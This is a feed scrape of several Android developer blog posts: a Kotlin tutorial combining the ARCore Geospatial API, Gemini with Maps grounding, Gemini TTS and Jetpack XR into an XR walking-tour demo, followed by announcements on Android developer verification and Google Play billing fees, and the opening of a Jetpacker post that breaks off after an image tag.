<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKrortZT9X64_5gun79eaNo1niWelmj6Mixfrw4eBLKkec02_w-el6vVXR8IuyPA40B4lB22yEdCK5KNVOZ3DwG3sja7MJArx60irN7gP9P7rnzMjx8sejJeE6puifztBfMv_mExAuAjKkE3rjW1PRulfU0wTfIVLtmb9lEUW4L9hhFme1ArGmV09GuXM/s320/MM%20Android%20XR%20Geospatial%20V02_Meta%20(1).png"><div><i>Posted by Coco Fatus, UX Designer, Alon Hetzroni, UX Engineer, Azin Mehrnoosh, Product Manager Android XR</i></div><div><i><br></i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s8000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"><img border="0" data-original-height="2442" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTa2M7znb9EjsONU5iM1tvB_KPswY-yT7pqYZ2gZmJGk9Z6WONXgDOsTj9vvTPD8a38-XvPm7HafuF1-nChC7dix2CQfnTpH6T-YdPhaL85A7rRugnlwwtPtwH-Z5WWSFVNYXCclOOL5DtNbNqRLX-ZJVAIrRDxYs8pgfWS0O0O2P_e-W6TjYH_RjnCuM/s16000/MM%20Android%20XR%20Geospatial%20V02_Blog.png"></a></div><br><div><br><br><i><br></i><div><i><br></i><p><a href="https://www.youtube.com/watch?v=1KOO2lqsdaA">At this year's Google I/O</a>, we announced an update for spatial experiences: the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial API</a> is now available as a preview in <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/arcore">ARCore for Jetpack XR</a>. By bringing Google's Visual Positioning System (VPS) to Android XR, Android XR enables anchoring digital content to the physical world with sub-meter accuracy and precise orientation in supported areas.* To explore what the Geospatial API could unlock, our team built a demo: the XR Geospatial Tour.</p>

<p>Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the <a href="https://developer.android.com/reference/kotlin/androidx/xr/arcore/Geospatial">Geospatial APIs</a>, <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a>, <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a>, and <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk">Jetpack XR SDK</a> to create a hands-free, immersive walking tour experience.</p>

<div class="separator">
  
<p>*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.</p>

<p>Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.</p>

<h3>1. Pinpointing the User with ARCore Geospatial API (VPS)</h3>
<p>Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.</p>

<p>This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a <a href="https://developer.android.com/reference/kotlin/androidx/xr/runtime/math/GeospatialPose">GeospatialPose</a> (including latitude, longitude, and heading) that is more accurate than GPS.</p>

<p>Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:</p>
<pre><div>// Retrieve the current geospatial pose from the ARCore session</div><code><div>val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)</div><div>if (result is CreateGeospatialPoseFromPoseSuccess) {</div><div>    val pose = result.pose</div><div>    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")</div><div>}</div></code></pre>

<p>Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".</p>

<h3>2. Crafting the Itinerary with Gemini API &amp; Google Maps Grounding</h3>
<p>Once we have a location, we use the <a href="https://firebase.google.com/docs/ai-logic">Gemini API using Firebase AI Logic</a> to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:</p>

<pre><div>   val configForTools = ToolConfig(</div><code><div>      functionCallingConfig = null,</div><div>      retrievalConfig = retrievalConfig {</div><div>        latLng = FirebaseLatLng(pose.latitude, pose.longitude)</div><div>        languageCode = "en"</div><div>      }</div><div>    )</div><div></div><div>    val responseJsonSchema = Schema.obj(</div><div>      mapOf(</div><div>        "locationIntro" to Schema.string(),</div><div>        "tours" to Schema.array(</div><div>          Schema.obj(</div><div>            mapOf(</div><div>              "title" to Schema.string(),</div><div>              "description" to Schema.string(),</div><div>              "stops" to Schema.array(</div><div>                Schema.obj(</div><div>                  mapOf(</div><div>                    "name" to Schema.string(),</div><div>                    "detailedName" to Schema.string(),</div><div>                    "description" to Schema.string()</div><div>                  )</div><div>                )</div><div>              )</div><div>            )</div><div>          )</div><div>        )</div><div>      )</div><div>    )</div><div></div><div>    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(</div><div>      modelName = "gemini-3.5-flash",</div><div>      tools = listOf(Tool.googleMaps()),</div><div>      generationConfig = generationConfig {</div><div>        responseMimeType = "application/json"</div><div>        responseSchema = responseJsonSchema</div><div>      }</div><div>    )</div><div></div><div>   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")</div></code></pre>

<p>Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used <a href="https://ai.google.dev/gemini-api/docs/maps-grounding">Google Maps Grounding</a> to ground the AI.</p>

<h3>3. A Voice to Guide You: Gemini 2.5 TTS</h3>
<p>To make the tour guide feel truly present, we implemented dynamic voiceovers.</p>

<p>Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:</p>

<pre><div>val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())</div><code><div>    .generativeModel(</div><div>        modelName = "gemini-2.5-flash-tts",</div><div>        generationConfig = generationConfig {</div><div>            // Instruct the model to return Audio</div><div>            responseModalities = listOf(ResponseModality.AUDIO)</div><div>        }</div><div>    )</div><div></div><div>val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")</div><div></div><div>// Extract the raw audio bytes from the response</div><div>val audioBytes = response.candidates.firstOrNull()?.content?.parts</div><div>    ?.filterIsInstance&lt;InlineDataPart&gt;()</div><div>    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData</div></code></pre>

<h3>4. Bringing it to Life in 3D with Jetpack XR</h3>
<p>The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from  a 2D Android UI to spatial computing.</p>

<p>We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.</p>

<p>Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SpatialBox.composable">SpatialBox</a> and <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SceneCoreEntity.composable">SceneCoreEntity</a>. We also used <a href="https://developer.android.com/reference/androidx/xr/scenecore/InteractableComponent">InteractableComponent</a> to respond to user taps.</p>
<pre><div>@Composable</div><code><div>fun InfoSphere(</div><div>    content: InfoBubbleContent,</div><div>    session: Session,</div><div>    sphereModel: GltfModel,</div><div>    isSelected: Boolean,</div><div>    onClick: () -&gt; Unit</div><div>) {</div><div>    // SpatialBox lets us arrange 3D components and SpatialPanels together</div><div>    SpatialBox(</div><div>        SubspaceModifier</div><div>            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space</div><div>    ) {</div><div>        // Smoothly animate the visibility of our 2D Compose UI Panel</div><div>        AnimatedSpatialVisibility(visible = isSelected) {</div><div>            SpatialPanel {</div><div>                InfoBubble(content) // Regular 2D Compose UI</div><div>            }</div><div>        }</div><div>        // Render our interactive 3D sphere</div><div>        SceneCoreEntity(</div><div>            factory = {</div><div>                GltfModelEntity.create(session, sphereModel).also { entity -&gt;</div><div>                    // Make the 3D model respond to user taps</div><div>                    entity.addComponent(InteractableComponent.create(session) { inputEvent -&gt;</div><div>                        if (inputEvent.action == InputEvent.Action.UP) {</div><div>                            onClick()</div><div>                        }</div><div>                    })</div><div>                }</div><div>            }</div><div>        )</div><div>    }</div><div>}</div></code></pre>

<p>By combining <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/animation/AnimatedSpatialVisibility.composable">AnimatedSpatialVisibility</a> for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.</p>

<h3>Explore what’s possible with Android XR today</h3>
<p>Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/ui-compose">Compose for XR</a>’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.</p>

<p>To help you get hands-on with Android XR, we are thrilled to open applications for the <a href="https://developer.android.com/develop/xr/catalyst">Android XR Developer Catalyst Program</a>, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months! </p>

<footer>
  <p>*Disclaimer: Available on select devices. Internet connection required. Works on compatible apps and surfaces. Results may vary.</p>
  <p><br></p>
</footer></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android developer verification: Building a safer ecosystem together]]></title>
<description><![CDATA[Posted by Matthew Forsythe, Director Product Management, Android App SafetyJuly 15, 2026: Updated Play Console requirements for Play developersTo meet Android developer verification and updated Play Console Requirements, Play developers must register their Play apps in Play Console. While 99% of ...]]></description>
<link>https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:33 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2JeeSz9AeQDASycrf2ssGmJn2yQGvGFjyU29jKSs5hFtYySX9X5wDw4Pb63DF3co77osfiLeYj6LGt-_1v66X3svzCOdWAZz3w9Q2WKF28T4qZ4tCbiTEsP88lIZ44Ua6mLfg6VIQL_k3PVWlU4vDnJkTc9mJkdz188lH-smTL3oA47Yongl1w8sf4RY/s1235/260317_ADV%20Blog_Metadata.png"><div><i>Posted by Matthew Forsythe, Director Product Management, Android App Safety</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s4210/260317_ADV%20Blog_Header.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s16000/260317_ADV%20Blog_Header.png"></a></div><br><br><div><br></div><div><br></div><div><br></div><b>July 15, 2026: Updated Play Console requirements for Play developers</b><br><br><blockquote>To meet Android developer verification and <a href="https://support.google.com/googleplay/android-developer/answer/17125096">updated Play Console Requirements</a>, Play developers must <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register their Play apps</a> in Play Console. While 99% of apps on Play have been registered automatically, you should check your <a href="https://play.google.com/console/u/0/developers/5700313618786177705/android-developer-verification">Play Console Home page</a> to register any remaining apps by September 30, 2026 to avoid global removal from Google Play and ensure a seamless user installation experience. </blockquote><br><blockquote>You can also use Play Console to register apps you distribute outside of Google Play to ensure they can be installed on certified Android devices.</blockquote><span><div><br></div></span><div>Last year, we introduced <a href="https://developer.android.com/developer-verification">Android developer verification</a> to strengthen ecosystem security and stop malicious actors from hiding behind anonymity to release harmful apps. Millions of apps have been registered since the verification launched in March, covering nearly all installs on Google Play and a large majority of installs from outside of Google Play. We appreciate the feedback and partnership from industry leaders, developers, and Android communities that helped us design this experience and drive strong adoption.<h2>Initial launch across seven stores and four countries</h2>

<p>These new developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand.</p>

<p>This rollout is an <b>industry-wide effort to create a safer ecosystem</b>. We will begin by verifying app installations from the following stores:</p>

<ul>
    <li>Google (Google Play)</li>
    <li>Honor (HONOR App Market)</li>
    <li>OPlus (OPPO App Market)</li>
    <li>Samsung (Galaxy Store)</li>
    <li>Transsion (Palm Store)</li>
    <li>vivo (V-Appstore)</li>
    <li>Xiaomi (GetApps)</li>
</ul>

<p>Following this initial phase with our partners, we will expand these protections globally for all apps on certified Android devices in 2027.</p><h2>Automate your workflow with new APIs</h2>

<p>To further streamline app registration, we are<b> launching a suite of developer-requested APIs</b> to help you register apps in bulk or directly through your continuous integration and deployment (CI/CD) pipelines. The Android Developer ID Status API will let you check if a package name has already been registered, and the Android Developer Console API will let you register and manage package names directly within your development environment. Both APIs also support OAuth delegation, allowing third-party platforms, like Android app stores, to perform these operations natively on your behalf.</p>

We'll launch these APIs over the next few months.<h2>What’s next</h2>

<p></p><ul><li><strong>June 2026:</strong> Starting this month, we are rolling out a new <a href="https://support.google.com/android/answer/17065026">system service</a> that will be automatically installed on most Android devices. This service will be used later this year to verify developer registration.</li><li><strong>July 2026:</strong> We’ll launch the Android Developer ID Status API globally and begin early access for the Android Developer Console API. Early access also starts for <a href="https://developer.android.com/developer-verification/guides/limited-distribution">limited distribution accounts</a> on Android Developer Console. This new type of Android developer account is designed for students, hobbyists, and learners and lets you share your apps to up to 20 devices without a government-issued ID or a fee.</li><li><strong>August 2026:</strong> Limited distribution accounts and the new Android Developer Console API will launch globally. We’ll also launch an <a href="https://android-developers.googleblog.com/2026/03/android-developer-verification.html">advanced flow</a> for installing apps from unverified developers, which includes security checkpoints to resist coercion scams, while allowing power users to maintain the ability to <a href="https://developer.android.com/developer-verification/guides/faq#sideload-apps">sideload apps</a> from unverified developers.</li><li><strong>September 30, 2026:</strong> App registration becomes required for <b>participating stores in Brazil, Indonesia, Singapore, and Thailand</b>. Unregistered apps can be sideloaded with Android Debug Bridge (adb) or advanced flow.</li><li><strong>2027 and beyond:</strong> After incorporating the feedback from our partners, users, and developer community, we’ll expand the Android verification requirement globally.<br></li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s960/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png" imageanchor="1"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s1600/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png"></a></div><br><div><br></div><h2>Get started with Android developer verification</h2>

<p>If you distribute apps in Brazil, Indonesia, Singapore, or Thailand via the stores listed above, please ensure your verification is complete by the September deadline.</p>

<p></p><ul><li><strong>Google Play developers:</strong> Most Play developers are already verified, and over 99% of their apps have been registered. Go to your <a href="https://play.google.com/console/developers/app-list">Play Console Home page</a> to see your app’s verification status, and <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register apps</a> you want to continue distributing that weren't automatically registered.</li><li><strong>Developers who distribute only outside of Google Play:</strong> Sign up for the <a href="https://android.google.com/developerconsole/developers">Android Developer Console</a> today to register your apps.</li></ul><p></p>



<p></p><ul><ul><li><strong>Students and hobbyists:</strong> Sign up <a href="https://google.qualtrics.com/jfe/form/SV_4N7NGE06NjJJdl4">here</a> for early access to limited distribution accounts to help us refine the feature with your feedback.</li></ul></ul><p></p>

Thank you for helping us build a safer Android ecosystem. Stay tuned for more updates as we approach September and the 2027 global rollout.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Expanded billing choice and lower fees on Google Play]]></title>
<description><![CDATA[Posted by Paul Feng, Vice President, Google Play Eng, Product, UX

At Google Play, we are committed to delivering the best possible experience to users, while ensuring developers have the tools and adaptability to succeed. Guided by this commitment, earlier this year we announced updates to our b...]]></description>
<link>https://tsecurity.de/de/3693502/android-tipps/expanded-billing-choice-and-lower-fees-on-google-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693502/android-tipps/expanded-billing-choice-and-lower-fees-on-google-play/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:32 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUB5FJxvJIARbdD14jKJu4Jg0uzjczgDxybt5NlviqF_vL91B0GzqNHTcURyCT1nUJgc22LmhvXBk_E2UOXvLqXN_dZfs0YrlbMrl3ZJ_CYcn4W4qoTUhU5k0Y8DhoXltMRMUGQN7uzj6pH4qV1dtRCR6tAKpjmH3Ys_94xqHgR6SfHMpAplFgz8ClGG8/s8533/Apps%20Experience_Play%20Blog%20MetadataCard__2048x1323.jpg"><p></p><p><i>Posted by Paul Feng, Vice President, Google Play Eng, Product, UX</i></p><p></p>

<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0NArBxSwBOPGYLZKJ4BxhB3rjkTq6RrZ6XBJk2e57TVQ_mSCJ1nw5JAegk0dmX-MEW0ArHvvr2pX8zdXKuJjIXsTgDx7i9W-EoRtS0rHLeGPjMnOvryY2f02czLEBxANuCYYa9ryEr46_6xJ9PQNkHL1MWh-hEHwZAbCGYj-JcdCunZGva5WpFFHCtYA/s4210/Blogger%20Header%20asset%20-%204209%20x%201253%20px.jpg"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0NArBxSwBOPGYLZKJ4BxhB3rjkTq6RrZ6XBJk2e57TVQ_mSCJ1nw5JAegk0dmX-MEW0ArHvvr2pX8zdXKuJjIXsTgDx7i9W-EoRtS0rHLeGPjMnOvryY2f02czLEBxANuCYYa9ryEr46_6xJ9PQNkHL1MWh-hEHwZAbCGYj-JcdCunZGva5WpFFHCtYA/s16000/Blogger%20Header%20asset%20-%204209%20x%201253%20px.jpg"></a></div><br><br>At Google Play, we are committed to delivering the best possible experience to users, while ensuring developers have the tools and adaptability to succeed. Guided by this commitment, <a href="https://android-developers.googleblog.com/2026/03/a-new-era-for-choice-and-openness.html">earlier this year</a> we announced updates to our business model introducing more billing flexibility, lower fees, and new programs to help your business thrive. <br><br>With some of these changes rolling out soon, the breakdown below outlines what is coming, where to find more information, key dates, and how to get started.

<h2>More billing flexibility</h2>

Google Play’s billing system safely, efficiently, and intuitively handles the complexities of taxes, compliance, and subscriptions across 195+ markets with 300+ local payment methods. However, we understand there are situations where your business needs more flexibility, and that's why we're offering you more options in how you handle digital commerce.<p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLIK5NuRI6Rf-N_scGYqy-xAMyFOrJRo-nJOjqBYQW3Fizevf5Mk3mKnNRlJWdEWKKQ3oM_whpPuVOABM9Nf8bZwkfGQ_12p4mgQDvO40ornXa_1OxyP_4okmNfbcOyXdq47nx7o11Q_D7BRe5nRBGt2tNWFhe_eAEIgFC-kFdZH8K8j0gfeWZUAuS1Y/s8000/MM6_Offer%20alt%20billing.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLIK5NuRI6Rf-N_scGYqy-xAMyFOrJRo-nJOjqBYQW3Fizevf5Mk3mKnNRlJWdEWKKQ3oM_whpPuVOABM9Nf8bZwkfGQ_12p4mgQDvO40ornXa_1OxyP_4okmNfbcOyXdq47nx7o11Q_D7BRe5nRBGt2tNWFhe_eAEIgFC-kFdZH8K8j0gfeWZUAuS1Y/s16000/MM6_Offer%20alt%20billing.jpg"></a></div><br><p></p>

<br><br>Building from existing programs, the new billing choice program is available to all developers globally who provide digital services or content to users within the United Kingdom and the European Economic Area, alongside programs in the United States. Following this initial phase, we will continue expanding availability to additional markets. You will find the global release schedule at the bottom of this post.<br><br>Through these programs, developers can offer an alternative billing system or link users to their own website for purchases, alongside Google Play’s billing. You may also design your own choice screen in accordance with our UX guidelines, as an alternative to Google Play’s default version.<br><br>Please find all the details in the <a href="https://support.google.com/googleplay/android-developer/answer/17161464">program page here</a>.

<h2>Lower, separate fees</h2>To enable this new level of flexibility, we're separating our service fee from the billing fee. This starts on June 30, 2026, beginning with the United States, European Economic Area, and United Kingdom.<br><br>Regardless of whether you use Google Play's billing system, alternative billing, or external web links, the service fee starts at 10% on your first $1M (USD) in annual earnings. This 10% service fee also applies to all auto-renewing subscriptions. For all other transactions, the rates in the table below applies:<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaTaAgjv7m9xtS4DS25hgDQ6oMIQWBw-GQ0bDMv4D_J-W5r7njfSvs7EnSwnJNIZ9oOIqW0w8KqoA4tTOQ2kC_l4K1YsrGt9Dp-4PFKBJGoACzfZPCjE2KBB0PGBjpaWBCguanfdhd-86iPZ3nDL_tZsk-lSYINiyQAreP8HKzBuShqq0BepijI3X6LT0/s8000/MM6%20rate%20card%20without%20border.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaTaAgjv7m9xtS4DS25hgDQ6oMIQWBw-GQ0bDMv4D_J-W5r7njfSvs7EnSwnJNIZ9oOIqW0w8KqoA4tTOQ2kC_l4K1YsrGt9Dp-4PFKBJGoACzfZPCjE2KBB0PGBjpaWBCguanfdhd-86iPZ3nDL_tZsk-lSYINiyQAreP8HKzBuShqq0BepijI3X6LT0/s16000/MM6%20rate%20card%20without%20border.jpg"></a></div><p></p><br><br><p><br></p>

For other transactions, the service fee will be determined by whether the transacting user's install is new or existing relative to the regional rollout date:<div> 

<ul>
  <li><b>New installs</b>: A transaction from a user whose first-time install or first update of the app from Google Play occurred on or after the date that the new fee structure launched in their region.</li>
  <li><b>Existing installs</b>: A transaction from a user whose first-time install or first update of the app from Google Play occurred before the date that the new fee structure launches in their market.</li></ul><div><br></div>For transactions that use Google Play’s billing system, an additional billing fee applies. In the United States, United Kingdom, and the European Economic Area, the billing fee is set at 5%. We'll announce billing fee details for other markets soon. For transactions processed via alternative billing or external web links, the billing fee does not apply. <br><br>Review<a href="https://support.google.com/googleplay/android-developer/answer/16954621?hl=en"> this Help Center article</a> to understand how these rates apply to your business.

<h2>Games Level Up and Apps Experience program guidelines</h2>We are also excited to announce even more opportunities for partners who deliver exceptional user experiences across the Android ecosystem: the revamped <a href="https://play.google.com/console/about/levelup/">Games Level Up</a> and the new <a href="https://play.google.com/console/about/programs/appsexperience/">Apps Experience</a> program. Detailed guidelines are now available on the respective program websites.<br><br>Apps and games that meet all requirements are eligible for a new program rate card with reduced rates. See the table below for details:<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Zf6OFaB1B8MD7DeLJ-znJQUcA3ozQYDUEKzxiJb-32f_zk8bn6Cyi-WbwDPND0osW6FmmaUlfi1ji25thN3kZYXb747mD_KaE6pUf3faA5blqHNFH7qRlp0aNgVvS-bNNLg8L3QTizxXOU0mmblc8RyapiRanHcdocW92FchSLuJnw1HUSYbY2oJfNI/s8000/MM6%20rate%20card%20with%20border.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Zf6OFaB1B8MD7DeLJ-znJQUcA3ozQYDUEKzxiJb-32f_zk8bn6Cyi-WbwDPND0osW6FmmaUlfi1ji25thN3kZYXb747mD_KaE6pUf3faA5blqHNFH7qRlp0aNgVvS-bNNLg8L3QTizxXOU0mmblc8RyapiRanHcdocW92FchSLuJnw1HUSYbY2oJfNI/s16000/MM6%20rate%20card%20with%20border.jpg"></a></div><br><p></p>

Visit the <a href="https://play.google.com/console/about/levelup/">Games Level Up</a> and <a href="https://play.google.com/console/about/programs/appsexperience/">Apps Experience</a> program websites, review the guidelines, and start preparing your games and apps ahead of September 30, 2026, when the program rate cards officially become available.

<h2>Global release schedule</h2>

Evolving our business model requires technical infrastructure and alignment with local regulations, so these updates will roll out on a staggered timeline. To help you plan, here is the previously announced release schedule for each update across all markets:<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGtrW01aFRzy0gj7_mHMrJ1TrWHkan3S0aF7HmjhM3QGdpkb9xjJudKp02b6i3jGGjRyE7PYGVPwxIhrM4CdLs_A-P70ugCns-G5x05x3PnAqD7VweBHg7-06bUl4T98OPuGpEXjrAjbwMObraQn8K3uCnr3tr505Os8Keu3H_i4wbWaZNoixFv6_vYw/s8000/MM6%20Release%20Schedule.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGtrW01aFRzy0gj7_mHMrJ1TrWHkan3S0aF7HmjhM3QGdpkb9xjJudKp02b6i3jGGjRyE7PYGVPwxIhrM4CdLs_A-P70ugCns-G5x05x3PnAqD7VweBHg7-06bUl4T98OPuGpEXjrAjbwMObraQn8K3uCnr3tr505Os8Keu3H_i4wbWaZNoixFv6_vYw/s16000/MM6%20Release%20Schedule.jpg"></a></div><br><p></p>

<p>Here is a quick recap of the resources available to help you get started:</p>

<ul>
  <li>Review the <a href="https://support.google.com/googleplay/android-developer/answer/17161464"><b>billing choice program</b></a>;</li>
  <li>Learn more about <a href="https://support.google.com/googleplay/android-developer/answer/16954621?hl=en"><b>Google Play's lower service fees</b></a>;</li>
  <li>Explore detailed guidelines on the <a href="https://play.google.com/console/about/levelup/"><b>Games Level Up</b></a> and <a href="https://play.google.com/console/about/programs/appsexperience/"><b>Apps Experience</b></a> program websites.</li>
</ul>

<p>We look forward to building the next generation of Google Play experiences together.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
